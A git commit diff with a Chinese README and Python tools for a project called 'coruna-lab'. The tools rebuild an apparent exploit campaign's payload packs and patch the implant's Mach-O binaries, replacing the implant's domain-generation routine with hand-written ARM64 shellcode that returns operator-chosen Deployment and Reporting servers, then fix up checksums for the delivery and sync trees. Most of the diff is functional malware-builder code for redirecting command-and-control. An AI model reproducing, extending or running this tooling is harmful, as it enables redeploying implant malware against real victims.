This commit is contained in:
hashbro
2026-08-05 04:04:06 +08:00
parent 7f35e04634
commit d4fb538997
94 changed files with 921 additions and 135 deletions
+72 -77
View File
@@ -1,105 +1,100 @@
# coruna-lab 工具:DGA seed 替换
# coruna-lab 工具:DGA seed / 固定域名
## 新建 / 刷新工作树(推荐)
## 推荐:固定域名列表(多域名探测)
`source/web` + `source/sync` 为 campaign 原样模板。脚本会复制到 **coruna-lab 根目录** 再打补丁:
植入体本身已有「候选列表里哪个可用用哪个」。脚本把 Deployment / Reporting 的 DGA 生成替换为你给的域名列表,并同步改:
- core(`erupt_flee.js` + `daily.html` 的 sha256/size)
- 全部 type0x01 二级包(10 个 `.min.js`)
```bash
cd coruna-lab
# 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv)
pip3 install py7zr pycryptodome
python3 tools/new_project.py
python3 tools/new_project.py \
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example,www.rep3.example'
```
等价于:
1. `source/web` → `coruna-lab/web`(覆盖)
2. `source/sync` → `coruna-lab/sync`(覆盖)
3. `python3 tools/patch_all.py --apply --root .`
产物:
- `web/…`、`sync/` — 可服务树(二级包 + daily/erupt 已换 seed)
- `out/seeds.json` — 本次 seed
- `out/domains.json` — Deployment / Reporting 候选域名
常用选项:
也支持重复传参:
```bash
python3 tools/new_project.py --skip-patch # 只复制,不打补丁
python3 tools/new_project.py \
--deployment-domains www.dep1.example \
--deployment-domains www.dep2.example \
--reporting-domains www.rep1.example \
--reporting-domains www.rep2.example
```
产物(`new_project.py` 写入 `server/public/`):
- `server/public/web/…`、`server/public/sync/` — 可直接由 Laravel public 提供
- `server/public/out/seeds.json` — 内部仍写入 seed(供池身份匹配)
- `server/public/out/domains.json` — 最终生效的域名列表
- `server/public/out/sync/MANIFEST.json` — core sha/size + domains
约束:
- 每池最多 **8** 个域名,单域名 ≤ 63 ASCII
- 可写 `https://host`(会自动去掉 scheme/path/port)
- 部署后把这些域名 DNS/hosts 指到你的 lab server(443)
- Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK`
- `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新 `--apply` 后再部署 `web/` + `sync/`
- macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto`
---
## 仅重建(已有 server/public web/sync)
```bash
# 若尚无 web/ + sync/,--apply 会自动从 source/ 复制一份
python3 tools/patch_all.py --apply --root server/public \
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example'
```
---
## 旧模式:只换 DGA seed(算域名)
不传 `--*-domains` 时行为与以前相同:随机/指定 seed,DGA 生成候选域名。
```bash
python3 tools/new_project.py
# 或
python3 tools/new_project.py \
--deployment-seed 09d0b8d58a71653cd1c89c64c866f2e6 \
--reporting-seed 2d2aebba0bf3d7d694194a7ab93b0a96
```
---
### Seed 格式
## 仅重建(已有根目录 web/sync)
```bash
python3 tools/patch_all.py --root .
# 写入根目录 web/ + sync/:
python3 tools/patch_all.py --apply --root .
```
`--apply` **必须**带 `--root`,且不会写入 `source/`。
也可手动指定 seed:`--deployment-seed … --reporting-seed …`。
- ASCII,长度 ≤ 32(二进制槽位定长 32)
- 推荐正好 32 个十六进制字符
- Deployment / Reporting 各一个
---
## 当前(原 campaign)seed
需要提供 **2 个** seed(Deployment + Reporting),不是一个。
| 角色 | 原 seed(正好 32 字符 hex) |
|------|-----------------------------|
| Deployment(dev)DGA | `09d0b8d58a71653cd1c89c64c866f2e6` |
| Reporting DGA | `2d2aebba0bf3d7d694194a7ab93b0a96` |
### 格式要求
- ASCII,**长度 ≤ 32**(二进制槽位定长 32;更长会破坏相邻字符串)
- **推荐正好 32 个十六进制字符**(与原样一致)
- 短于 32 可以,脚本会在槽位内用 `NUL` 填充
- Deployment / Reporting **各提供一个**,彼此独立
依赖:
```bash
pip3 install py7zr pycryptodome
```
源 dylib 仍读自 `coruna-online/`;未 `--apply` 时产物写到 `out/`(或 `<root>/out/`)。
`--apply` 覆盖的是 **工作树** 的 `web/…/*.min.js`(二级)与 `sync/{daily.html,erupt_flee.js}`。
---
## 1. 二级包:改 seed → 重打 10 个 `.min.js`
## 分步脚本
```bash
# 二级包 type0x01
python3 tools/patch_secondary_packs.py \
--deployment-seed <32hex> \
--reporting-seed <32hex> \
--root . \
--apply
```
--deployment-seed <32hex> --reporting-seed <32hex> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root . --apply
## 2. Core / daily
```bash
# core + daily 校验
python3 tools/patch_core.py \
--deployment-seed <32hex> \
--reporting-seed <32hex> \
--root . \
--apply
```
--deployment-seed <32hex> --reporting-seed <32hex> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root . --apply
## 3. 只算域名
```bash
# 只算 DGA 域名(固定域名模式不需要)
python3 tools/compute_dga_domains.py \
--deployment-seed <32hex> \
--reporting-seed <32hex> \
-n 5
--deployment-seed <32hex> --reporting-seed <32hex> -n 5
```
源 dylib 仍读自 `coruna-online/`;`--apply` 写入工作树 `web/` + `sync/`(不会写 `source/`)。
+8 -4
View File
@@ -66,10 +66,14 @@ def set_tree_root(root: Path) -> Path:
def ensure_tree_layout(root: Path) -> None:
camp = root / "web" / CAMPAIGN_HASH
sync = root / "sync"
if not camp.is_dir():
raise SystemExit(f"missing campaign dir: {camp}")
if not sync.is_dir():
raise SystemExit(f"missing sync dir: {sync}")
if not camp.is_dir() or not sync.is_dir():
raise SystemExit(
f"missing working tree under {root} (need web/{CAMPAIGN_HASH}/ and sync/).\n"
f"Run first:\n"
f" python3 tools/new_project.py --skip-patch\n"
f"or directly:\n"
f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'"
)
def pack_seed(value: str) -> bytes:
+621
View File
@@ -0,0 +1,621 @@
"""Patch PLServerPool DGA helper to return fixed domain lists (probe/failover kept)."""
from __future__ import annotations
import struct
from dataclasses import dataclass, field
from _common import OLD_DEP, OLD_REP, pack_seed
_SUB_SP_E0 = 0xD10383FF
_MURMUR = bytes.fromhex("21368f52e1c6b372")
_NOP = 0xD503201F
MAX_DOMAINS_PER_POOL = 8
MAX_DOMAIN_LEN = 63
@dataclass
class SlicePatch:
file_offset: int
size: int
cpu_subtype: int
@dataclass
class SliceInfo:
blob: bytes
file_offset: int
cpu_subtype: int
sections: dict[str, tuple[int, int]] = field(default_factory=dict) # name -> (vm/file off, size)
@property
def is_arm64e(self) -> bool:
return bool(self.cpu_subtype & 0x80000000)
def iter_slices(data: bytes) -> list[SlicePatch]:
magic = struct.unpack_from("<I", data, 0)[0]
if magic in (0xBEBAFECA, 0xCAFEBABE):
nfat = struct.unpack_from(">I", data, 4)[0]
out: list[SlicePatch] = []
for i in range(nfat):
o = 8 + i * 20
_ct, cs, soff, ssize, _align = struct.unpack_from(">IIIII", data, o)
out.append(SlicePatch(soff, ssize, cs))
return out
return [SlicePatch(0, len(data), 0)]
def _parse_slice(data: bytes, sl: SlicePatch) -> SliceInfo:
blob = data[sl.file_offset : sl.file_offset + sl.size]
info = SliceInfo(blob=blob, file_offset=sl.file_offset, cpu_subtype=sl.cpu_subtype)
_magic, _ct, _cs, _ft, ncmds = struct.unpack_from("<IIIII", blob, 0)
off = 32
for _ in range(ncmds):
cmd, cmdsize = struct.unpack_from("<II", blob, off)
if cmd == 0x19: # LC_SEGMENT_64
nsects = struct.unpack_from("<I", blob, off + 64)[0]
so = off + 72
for _s in range(nsects):
sn = blob[so : so + 16].split(b"\x00")[0].decode()
saddr = struct.unpack_from("<Q", blob, so + 32)[0]
ssize = struct.unpack_from("<Q", blob, so + 40)[0]
sfo = struct.unpack_from("<I", blob, so + 48)[0]
# In these binaries vmaddr == fileoff for most sections.
info.sections[sn] = (sfo if sfo else saddr, ssize)
so += 80
off += cmdsize
return info
def normalize_domain(raw: str) -> str:
value = raw.strip()
if not value:
raise SystemExit("empty domain")
for prefix in ("https://", "http://"):
if value.lower().startswith(prefix):
value = value[len(prefix) :]
value = value.split("/")[0].strip()
if ":" in value:
host, port = value.rsplit(":", 1)
if port.isdigit():
value = host
if len(value) > MAX_DOMAIN_LEN:
raise SystemExit(f"domain longer than {MAX_DOMAIN_LEN}: {value!r}")
if not all(32 <= ord(ch) < 127 for ch in value):
raise SystemExit(f"domain must be ASCII: {value!r}")
return value
def parse_domain_list(values: list[str] | None, *, label: str) -> list[str]:
if not values:
raise SystemExit(f"{label}: provide at least one domain")
out: list[str] = []
for item in values:
for part in str(item).split(","):
part = part.strip()
if part:
out.append(normalize_domain(part))
if not out:
raise SystemExit(f"{label}: provide at least one domain")
if len(out) > MAX_DOMAINS_PER_POOL:
raise SystemExit(f"{label}: at most {MAX_DOMAINS_PER_POOL} domains")
seen: set[str] = set()
uniq: list[str] = []
for d in out:
if d not in seen:
seen.add(d)
uniq.append(d)
return uniq
def pack_domain_tables(dep: list[str], rep: list[str]) -> tuple[bytes, bytes]:
def one(domains: list[str]) -> bytes:
return bytes([len(domains)]) + b"".join(d.encode("ascii") + b"\x00" for d in domains)
return one(dep), one(rep)
def _enc_bl(pc: int, target: int) -> int:
imm = (target - pc) // 4
if not (-0x2000000 <= imm < 0x2000000):
raise SystemExit(f"bl out of range {pc:#x}->{target:#x}")
return 0x94000000 | (imm & 0x3FFFFFF)
def _enc_b(pc: int, target: int) -> int:
imm = (target - pc) // 4
if not (-0x2000000 <= imm < 0x2000000):
raise SystemExit(f"b out of range {pc:#x}->{target:#x}")
return 0x14000000 | (imm & 0x3FFFFFF)
def _enc_adr(rd: int, pc: int, target: int) -> int:
imm = target - pc
if not (-1048576 <= imm < 1048576):
raise SystemExit(f"adr out of range {pc:#x}->{target:#x}")
immlo = imm & 3
immhi = (imm >> 2) & 0x7FFFF
return 0x10000000 | (immlo << 29) | (immhi << 5) | rd
def _enc_adrp(rd: int, pc: int, target: int) -> int:
imm = (target >> 12) - (pc >> 12)
if not (-1048576 <= imm < 1048576):
raise SystemExit(f"adrp out of range {pc:#x}->{target:#x}")
immlo = imm & 3
immhi = (imm >> 2) & 0x1FFFFF
return 0x90000000 | (immlo << 29) | (immhi << 5) | rd
def _enc_ldr64_uoff(rt: int, rn: int, offset: int) -> int:
if offset % 8:
raise SystemExit("ldr offset must be 8-aligned")
imm12 = offset // 8
if not (0 <= imm12 <= 0xFFF):
raise SystemExit(f"ldr offset too large: {offset}")
return 0xF9400000 | (imm12 << 10) | (rn << 5) | rt
def _decode_ptr(raw: int, blob_len: int) -> int | None:
"""Decode plain or dyld-chained rebase pointer to a file/vm offset."""
if 0 < raw < blob_len:
return raw
# dyld_chained_ptr_64_rebase / arm64e variants: low 36 bits often hold target
target = raw & ((1 << 36) - 1)
if 0 < target < blob_len:
return target
return None
def _find_cfstring_for_cstring(info: SliceInfo, cstring_off: int) -> int:
blob = info.blob
# Fast path: plain pointer
ptr = struct.pack("<Q", cstring_off)
start = 0
while True:
i = blob.find(ptr, start)
if i < 0:
break
if i >= 16:
cfs = i - 16
length = struct.unpack_from("<Q", blob, cfs + 24)[0]
if length == 32:
return cfs
start = i + 1
# arm64e: scan __cfstring
off, size = info.sections.get("__cfstring", (0, 0))
if size:
for i in range(0, size, 32):
base = off + i
_isa, _flags, raw, length = struct.unpack_from("<QQQQ", blob, base)
if length != 32:
continue
tgt = _decode_ptr(raw, len(blob))
if tgt == cstring_off:
return base
raise SystemExit(f"CFString not found for cstring @{cstring_off:#x}")
def _find_stub_for_selector(info: SliceInfo, name: bytes) -> int:
blob = info.blob
name_off = blob.find(name + b"\x00")
if name_off < 0:
raise SystemExit(f"missing selector {name!r}")
selrefs: list[int] = []
# plain
ptr = struct.pack("<Q", name_off)
start = 0
while True:
i = blob.find(ptr, start)
if i < 0:
break
selrefs.append(i)
start = i + 1
# chained
off, size = info.sections.get("__objc_selrefs", (0, 0))
if size:
for i in range(0, size, 8):
base = off + i
raw = struct.unpack_from("<Q", blob, base)[0]
if _decode_ptr(raw, len(blob)) == name_off:
selrefs.append(base)
if not selrefs:
raise SystemExit(f"missing selref for {name!r}")
stubs_off, stubs_size = info.sections.get("__objc_stubs", (0xC0000, 0x40000))
lo = stubs_off
hi = stubs_off + stubs_size if stubs_size else min(len(blob), 0x100000)
for selref in selrefs:
for i in range(lo, hi, 4):
ins = struct.unpack_from("<I", blob, i)[0]
if (ins & 0x9F000000) != 0x90000000 or (ins & 0x1F) != 1:
continue
immlo = (ins >> 29) & 3
immhi = (ins >> 5) & 0x1FFFFF
imm = (immhi << 2) | immlo
if imm & (1 << 20):
imm -= 1 << 21
page = ((i >> 12) + imm) << 12
ins2 = struct.unpack_from("<I", blob, i + 4)[0]
if (ins2 & 0xFFC00000) != 0xF9400000 or (ins2 & 0x1F) != 1:
continue
imm12 = (ins2 >> 10) & 0xFFF
if page + imm12 * 8 == selref:
return i
raise SystemExit(f"missing objc stub for selector {name!r}")
def _find_classrefs(info: SliceInfo, body: int) -> tuple[int, int]:
blob = info.blob
cr_off, cr_size = info.sections.get("__objc_classrefs", (0x127E80, 0x400))
cr_lo, cr_hi = cr_off, cr_off + cr_size
hits: list[int] = []
# LDR literal (common in arm64)
for pc in range(body, body + 0x100, 4):
ins = struct.unpack_from("<I", blob, pc)[0]
if (ins & 0xFF000000) != 0x58000000:
continue
imm19 = (ins >> 5) & 0x7FFFF
if imm19 & 0x40000:
imm19 -= 0x80000
lit = pc + imm19 * 4
if cr_lo <= lit < cr_hi:
hits.append(lit)
# ADRP+LDR
for pc in range(body, body + 0x100, 4):
ins = struct.unpack_from("<I", blob, pc)[0]
if (ins & 0x9F000000) != 0x90000000:
continue
rd = ins & 0x1F
immlo = (ins >> 29) & 3
immhi = (ins >> 5) & 0x1FFFFF
imm = (immhi << 2) | immlo
if imm & (1 << 20):
imm -= 1 << 21
page = ((pc >> 12) + imm) << 12
if not (cr_lo <= page < cr_hi or cr_lo <= page + 0xFFF < cr_hi + 0x1000):
continue
ins2 = struct.unpack_from("<I", blob, pc + 4)[0]
if (ins2 & 0xFFC00000) != 0xF9400000:
continue
if ((ins2 >> 5) & 0x1F) != rd:
continue
imm12 = (ins2 >> 10) & 0xFFF
lit = page + imm12 * 8
if cr_lo <= lit < cr_hi:
hits.append(lit)
# de-dupe preserve order
uniq: list[int] = []
for h in hits:
if h not in uniq:
uniq.append(h)
if len(uniq) >= 2:
return uniq[0], uniq[1]
if len(uniq) == 1:
# NSString classref usually follows NSMutableArray
return uniq[0], uniq[0] + 8
# last resort: first two slots
return cr_off, cr_off + 8
def _collect_branch_targets(
blob: bytes, lo: int, hi: int, *, ops: tuple[int, ...] = (0x94000000,)
) -> list[int]:
out: list[int] = []
for i in range(lo, min(hi, len(blob) - 4), 4):
ins = struct.unpack_from("<I", blob, i)[0]
op = ins & 0xFC000000
if op not in ops:
continue
imm = ins & 0x3FFFFFF
if imm & 0x2000000:
imm -= 0x4000000
out.append(i + imm * 4)
return out
def _discover_dga(blob: bytes) -> tuple[int, int, int]:
idx = blob.find(_MURMUR)
if idx < 0:
raise SystemExit("DGA murmur constant not found")
body = None
for back in range(0, 0x300, 4):
addr = idx - back
if addr >= 0 and struct.unpack_from("<I", blob, addr)[0] == _SUB_SP_E0:
body = addr
break
if body is None:
raise SystemExit("DGA prologue not found")
entry = body
if body >= 8:
ins_b = struct.unpack_from("<I", blob, body - 8)[0]
ins_pac = struct.unpack_from("<I", blob, body - 4)[0]
if (ins_b & 0xFC000000) == 0x14000000 and ins_pac in (0xD503237F, 0xD503233F):
entry = body - 8
end = body + 0x360
for a in range(body + 0x80, body + 0x400, 4):
if a + 4 > len(blob):
break
if struct.unpack_from("<I", blob, a)[0] == _SUB_SP_E0:
end = a
break
return entry, body, end
def _resolve_runtime_stubs(blob: bytes, body: int, end: int) -> dict[str, int]:
"""Map objc_retain / release / retainAutoreleased / autoreleaseReturnValue stubs."""
early = _collect_branch_targets(blob, body, body + 0x50, ops=(0x94000000,))
all_bl = _collect_branch_targets(blob, body, end, ops=(0x94000000,))
all_b = _collect_branch_targets(blob, body, end, ops=(0x14000000,))
if not early:
raise SystemExit("DGA helper has no early bl (objc_retain)")
retain = early[0]
page = retain & ~0xFFF
# libobjc stub island on same 4K page
island = sorted({t for t in (all_bl + all_b) if (t & ~0xFFF) == page})
if retain not in island:
island = sorted(set(island + [retain]))
# Typical layout near retain: ... autoreleaseReturn, release, retain, retainAutoreleased
lower = [t for t in island if t < retain]
higher = [t for t in island if t > retain]
release = lower[-1] if lower else None
auto_ret = lower[-2] if len(lower) >= 2 else (lower[0] if lower else None)
retain_auto = higher[0] if higher else None
# Fallbacks if ordering differs
if release is None and len(island) >= 2:
release = next((t for t in island if t != retain), None)
if retain_auto is None and len(island) >= 3:
retain_auto = next((t for t in island if t not in (retain, release)), None)
if auto_ret is None:
auto_ret = next((t for t in all_b if (t & ~0xFFF) == page), None)
if None in (retain, release, retain_auto, auto_ret):
raise SystemExit(
f"runtime stubs incomplete island={[hex(x) for x in island]} "
f"retain={retain!r} release={release!r} retainAuto={retain_auto!r} autoRet={auto_ret!r}"
)
return {
"retain": retain,
"release": release,
"retainAutoreleased": retain_auto,
"autoreleaseReturn": auto_ret,
}
def _apply_shellcode(
blob: bytes,
*,
entry: int,
end: int,
stubs: dict[str, int],
class_array: int,
class_string: int,
dep_cf: int,
rep_cf: int,
dep_pack: bytes,
rep_pack: bytes,
label: str,
) -> bytes:
avail = end - entry
code: list[int] = []
labels: dict[str, int] = {}
pending: list[tuple[int, str, str]] = []
def pc() -> int:
return entry + len(code) * 4
def emit(ins: int) -> None:
code.append(ins & 0xFFFFFFFF)
def mark(name: str) -> None:
labels[name] = pc()
def bl(target: int) -> None:
emit(_enc_bl(pc(), target))
def b_label(name: str) -> None:
pending.append((len(code), "b", name))
emit(0)
def cbz(rt: int, name: str) -> None:
pending.append((len(code), f"cbz{rt}", name))
emit(0)
def cbnz(rt: int, name: str) -> None:
pending.append((len(code), f"cbnz{rt}", name))
emit(0)
def adr(rd: int, name: str) -> None:
pending.append((len(code), f"adr{rd}", name))
emit(0)
def adrp_ldr(rd: int, abs_addr: int) -> None:
p = pc()
emit(_enc_adrp(rd, p, abs_addr))
emit(_enc_ldr64_uoff(rd, rd, abs_addr & 0xFFF))
# Save every callee-saved reg we touch (x19-x22, x25). Omitting these
# corrupts _generateDomainsLocked and aborts before any /sync probe.
emit(0xA9BC7BFD) # stp x29, x30, [sp, #-0x40]!
emit(0xA9014FF4) # stp x20, x19, [sp, #0x10]
emit(0xA90257F6) # stp x22, x21, [sp, #0x20]
emit(0xA90367FA) # stp x26, x25, [sp, #0x30]
emit(0x910103FD) # add x29, sp, #0x40
emit(0xAA0003F3) # mov x19, x0 ; seed
bl(stubs["retain"])
emit(0xAA1303E0)
adr(2, "dep_cf")
bl(stubs["isEqualToString"])
cbz(0, "check_rep")
adr(21, "dep_table")
b_label("build")
mark("check_rep")
emit(0xAA1303E0)
adr(2, "rep_cf")
bl(stubs["isEqualToString"])
cbz(0, "empty")
adr(21, "rep_table")
b_label("build")
mark("empty")
adrp_ldr(0, class_array)
emit(0xD2800002)
bl(stubs["arrayWithCapacity"])
bl(stubs["retainAutoreleased"])
emit(0xAA0003F4)
b_label("done")
mark("build")
emit(0x394002B6)
emit(0x910006B5)
adrp_ldr(0, class_array)
emit(0x2A1603E2)
bl(stubs["arrayWithCapacity"])
bl(stubs["retainAutoreleased"])
emit(0xAA0003F4)
mark("loop")
cbz(22, "done")
adrp_ldr(0, class_string)
emit(0xAA1503E2)
bl(stubs["stringWithUTF8"])
bl(stubs["retainAutoreleased"])
emit(0xAA0003F9)
emit(0xAA1403E0)
emit(0xAA1903E2)
bl(stubs["addObject"])
emit(0xAA1903E0)
bl(stubs["release"])
mark("scan")
emit(0x394002A8)
emit(0x910006B5)
cbnz(8, "scan")
emit(0x510006D6)
b_label("loop")
mark("done")
emit(0xAA1303E0) # mov x0, x19
bl(stubs["release"])
emit(0xAA1403E0) # mov x0, x20 ; NSArray*
emit(0xA94367FA) # ldp x26, x25, [sp, #0x30]
emit(0xA94257F6) # ldp x22, x21, [sp, #0x20]
emit(0xA9414FF4) # ldp x20, x19, [sp, #0x10]
emit(0xA8C47BFD) # ldp x29, x30, [sp], #0x40
emit(_enc_b(pc(), stubs["autoreleaseReturn"]))
table_off = entry + len(code) * 4
if table_off % 4:
while (entry + len(code) * 4) % 4:
emit(_NOP)
table_off = entry + len(code) * 4
dep_table = table_off
rep_table = table_off + len(dep_pack)
abs_map = {
"dep_cf": dep_cf,
"rep_cf": rep_cf,
"dep_table": dep_table,
"rep_table": rep_table,
}
for idx, kind, name in pending:
p = entry + idx * 4
if kind.startswith("adr"):
rd = int(kind[3:])
code[idx] = _enc_adr(rd, p, abs_map[name])
continue
target = labels[name]
imm19 = (target - p) // 4
if kind == "b":
code[idx] = _enc_b(p, target)
elif kind.startswith("cbz"):
rt = int(kind[3:])
code[idx] = 0x34000000 | ((imm19 & 0x7FFFF) << 5) | rt
elif kind.startswith("cbnz"):
rt = int(kind[4:])
code[idx] = 0x35000000 | ((imm19 & 0x7FFFF) << 5) | rt
else:
raise SystemExit(f"{label}: bad fixup {kind}")
payload = b"".join(struct.pack("<I", ins) for ins in code) + dep_pack + rep_pack
if len(payload) > avail:
raise SystemExit(
f"{label}: need {len(payload)} bytes, only {avail} free in DGA region"
)
new_blob = bytearray(blob)
new_blob[entry : entry + avail] = payload + b"\x00" * (avail - len(payload))
return bytes(new_blob)
def patch_fixed_domains_in_dylib(
data: bytes,
deployment_domains: list[str],
reporting_domains: list[str],
*,
deployment_seed: str,
reporting_seed: str,
label: str,
) -> bytes:
dep = parse_domain_list(deployment_domains, label="deployment")
rep = parse_domain_list(reporting_domains, label="reporting")
dep_pack, rep_pack = pack_domain_tables(dep, rep)
out = bytearray(data)
seed_dep = pack_seed(deployment_seed)
seed_rep = pack_seed(reporting_seed)
for si, sl in enumerate(iter_slices(data)):
info = _parse_slice(bytes(out), sl)
# re-parse from current out
info = _parse_slice(bytes(out), sl)
blob = info.blob
entry, body, end = _discover_dga(blob)
dep_cs = blob.find(seed_dep)
rep_cs = blob.find(seed_rep)
if dep_cs < 0 or rep_cs < 0:
dep_cs = blob.find(OLD_DEP)
rep_cs = blob.find(OLD_REP)
if dep_cs < 0 or rep_cs < 0:
raise SystemExit(f"{label} slice{si}: seed cstrings not found")
dep_cf = _find_cfstring_for_cstring(info, dep_cs)
rep_cf = _find_cfstring_for_cstring(info, rep_cs)
runtime = _resolve_runtime_stubs(blob, body, end)
stubs = {
**runtime,
"isEqualToString": _find_stub_for_selector(info, b"isEqualToString:"),
"arrayWithCapacity": _find_stub_for_selector(info, b"arrayWithCapacity:"),
"addObject": _find_stub_for_selector(info, b"addObject:"),
"stringWithUTF8": _find_stub_for_selector(info, b"stringWithUTF8String:"),
}
class_array, class_string = _find_classrefs(info, body)
patched = _apply_shellcode(
blob,
entry=entry,
end=end,
stubs=stubs,
class_array=class_array,
class_string=class_string,
dep_cf=dep_cf,
rep_cf=rep_cf,
dep_pack=dep_pack,
rep_pack=rep_pack,
label=f"{label}/slice{si}",
)
out[sl.file_offset : sl.file_offset + sl.size] = patched
print(
f"{label} slice{si}: fixed domains @ {entry:#x}..{end:#x} "
f"dep={len(dep)} rep={len(rep)} arm64e={info.is_arm64e}"
)
return bytes(out)
+37 -14
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3
"""Reset lab-root web/ + sync/ from source/, then patch_all --apply (new DGA seeds/domains)."""
"""Reset server/public web/ + sync/ from source/, then patch_all --apply."""
from __future__ import annotations
@@ -12,6 +12,7 @@ from pathlib import Path
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
APPLY_ROOT = LAB_ROOT / "server" / "public"
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
@@ -29,8 +30,8 @@ def replace_tree(src: Path, dst: Path) -> None:
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Copy source/web + source/sync to coruna-lab root, then run "
"patch_all.py --apply --root <lab-root> (fresh Deployment/Reporting domains)."
"Copy source/web + source/sync to server/public, then run "
"patch_all.py --apply --root server/public."
)
)
parser.add_argument(
@@ -41,20 +42,35 @@ def main() -> int:
"--reporting-seed",
help="optional; forwarded to patch_all (default: random)",
)
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
help="fixed Deployment hosts (comma-separated or repeatable)",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
help="fixed Reporting hosts (comma-separated or repeatable)",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates to print per pool (default 5)",
help="DGA candidates to print when not using fixed domains (default 5)",
)
parser.add_argument(
"--skip-patch",
action="store_true",
help="only copy source trees to lab root; do not run patch_all",
help="only copy source trees to server/public; do not run patch_all",
)
args = parser.parse_args()
if bool(args.deployment_domains) != bool(args.reporting_domains):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
src_web = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync"
if not (src_web / CAMPAIGN_HASH).is_dir():
@@ -62,12 +78,13 @@ def main() -> int:
if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}")
dst_web = LAB_ROOT / "web"
dst_sync = LAB_ROOT / "sync"
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
dst_web = APPLY_ROOT / "web"
dst_sync = APPLY_ROOT / "sync"
print("=== reset lab root from source ===")
print("=== reset server/public from source ===")
print(f"from: {SOURCE_ROOT}")
print(f"to: {LAB_ROOT}/{{web,sync}}")
print(f"to: {APPLY_ROOT}/{{web,sync}}")
replace_tree(src_web, dst_web)
replace_tree(src_sync, dst_sync)
print(f"copied web/ ({CAMPAIGN_HASH}) + sync/")
@@ -81,7 +98,7 @@ def main() -> int:
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(LAB_ROOT),
str(APPLY_ROOT),
"-n",
str(args.count),
]
@@ -89,21 +106,27 @@ def main() -> int:
cmd += ["--deployment-seed", args.deployment_seed]
if args.reporting_seed:
cmd += ["--reporting-seed", args.reporting_seed]
for item in args.deployment_domains:
cmd += ["--deployment-domains", item]
for item in args.reporting_domains:
cmd += ["--reporting-domains", item]
print()
print("=== patch_all --apply ===")
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
out_root = APPLY_ROOT / "out"
print()
print("=== ready ===")
print(f"web: {dst_web / CAMPAIGN_HASH}")
print(f"sync: {dst_sync}")
print(f"seeds: {LAB_ROOT / 'out' / 'seeds.json'}")
print(f"domains: {LAB_ROOT / 'out' / 'domains.json'}")
print(f"seeds: {out_root / 'seeds.json'}")
print(f"domains: {out_root / 'domains.json'}")
print()
print("serve example:")
print(f" cd {LAB_ROOT} && python3 -m http.server 8765 --bind 0.0.0.0")
print("served by Laravel public:")
print(f" /web/{CAMPAIGN_HASH}/support.html")
print(" /sync/daily.html")
return 0
+96 -30
View File
@@ -1,17 +1,20 @@
#!/usr/bin/env python3
"""All-in-one: generate seeds, rebuild secondary packs + core/daily, print DGA domains."""
"""All-in-one: patch secondary packs + core/daily (DGA seeds or fixed domain lists)."""
from __future__ import annotations
import argparse
import json
import secrets
import shutil
import subprocess
import sys
from pathlib import Path
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
def gen_seed() -> str:
@@ -24,20 +27,53 @@ def run(cmd: list[str]) -> None:
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store"}
return {n for n in names if n in skip or n.endswith(".pyc")}
def ensure_working_tree(root: Path) -> None:
"""If web/sync missing under root, copy from source/ (same as new_project --skip-patch)."""
camp = root / "web" / CAMPAIGN_HASH
sync = root / "sync"
if camp.is_dir() and sync.is_dir():
return
src_web = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync"
if not (src_web / CAMPAIGN_HASH).is_dir() or not src_sync.is_dir():
raise SystemExit(
f"missing working tree and source template.\n"
f"expected: {src_web / CAMPAIGN_HASH} and {src_sync}"
)
print("=== bootstrap working tree from source/ ===")
for src, dst in ((src_web, root / "web"), (src_sync, root / "sync")):
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
print(f"copied {src.relative_to(LAB_ROOT)} -> {dst}")
print()
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Generate Deployment/Reporting seeds, run patch_secondary_packs → "
"patch_core → compute_dga_domains, print final domains."
"Patch type0x01 + core/daily. Use either DGA seeds (default random) "
"or fixed --deployment-domains / --reporting-domains."
)
)
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
parser.add_argument(
"--deployment-seed",
help="optional; default: random 32 hex chars",
"--deployment-domains",
action="append",
default=[],
help="fixed Deployment hosts (comma-separated or repeatable)",
)
parser.add_argument(
"--reporting-seed",
help="optional; default: random 32 hex chars",
"--reporting-domains",
action="append",
default=[],
help="fixed Reporting hosts (comma-separated or repeatable)",
)
parser.add_argument(
"--root",
@@ -47,24 +83,29 @@ def main() -> int:
parser.add_argument(
"--apply",
action="store_true",
help="pass --apply to patch_secondary_packs and patch_core (write into --root)",
